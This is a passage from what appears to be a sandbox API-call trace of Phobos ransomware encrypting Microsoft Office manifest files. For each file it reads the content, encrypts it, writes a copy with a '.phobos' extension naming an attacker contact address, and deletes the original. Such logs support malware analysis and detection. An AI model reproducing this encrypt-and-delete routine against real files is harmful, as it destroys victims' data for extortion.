Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.014] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.014] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.015] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0054.015] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.015] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5aa, lpOverlapped=0x0) returned 1 [0054.120] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5b0) returned 1 [0054.120] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5b0, lpOverlapped=0x0) returned 1 [0054.121] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0054.121] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.121] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.121] CryptDestroyKey (hKey=0x10cf70) returned 1 [0054.121] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.121] CryptDestroyKey (hKey=0x10ce30) returned 1 [0054.121] CloseHandle (hObject=0x308) returned 1 [0054.122] CloseHandle (hObject=0x31c) returned 1 [0054.122] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0054.123] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.123] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0054.123] CloseHandle (hObject=0x31c) returned 1 [0054.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.124] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.124] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.125] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0054.125] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.125] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.196] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0054.196] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0054.197] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0054.197] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.197] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.197] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0054.197] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.198] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0054.198] CloseHandle (hObject=0x31c) returned 1 [0054.198] CloseHandle (hObject=0x308) returned 1 [0054.198] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0054.199] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.199] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0054.199] CloseHandle (hObject=0x308) returned 1 [0054.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.200] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.200] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.200] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0054.200] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.200] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.207] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0054.207] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0054.208] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0054.208] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.208] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.208] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0054.208] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.208] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0054.208] CloseHandle (hObject=0x308) returned 1 [0054.208] CloseHandle (hObject=0x31c) returned 1 [0054.209] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0054.210] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.210] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0054.210] CloseHandle (hObject=0x31c) returned 1 [0054.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.210] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.210] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.211] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0054.211] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.211] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.271] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0054.271] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0054.272] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0054.272] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.272] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.272] CryptDestroyKey (hKey=0x10cab0) returned 1 [0054.272] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.272] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0054.272] CloseHandle (hObject=0x31c) returned 1 [0054.272] CloseHandle (hObject=0x308) returned 1 [0054.273] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0054.274] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.274] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3375) returned 1 [0054.274] CloseHandle (hObject=0x308) returned 1 [0054.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.275] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.275] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.275] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0054.275] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.275] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xd2f, lpOverlapped=0x0) returned 1 [0054.304] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd30, dwBufLen=0xd30 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd30) returned 1 [0054.304] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xd30, lpOverlapped=0x0) returned 1 [0054.305] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0054.305] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.305] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0054.305] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0054.305] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0054.305] CryptDestroyKey (hKey=0x10cab0) returned 1 [0054.305] CloseHandle (hObject=0x308) returned 1 [0054.305] CloseHandle (hObject=0x31c) returned 1 [0054.306] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0054.307] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.307] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9831) returned 1 [0054.307] CloseHandle (hObject=0x31c) returned 1 [0054.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0054.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.308] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.308] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.308] 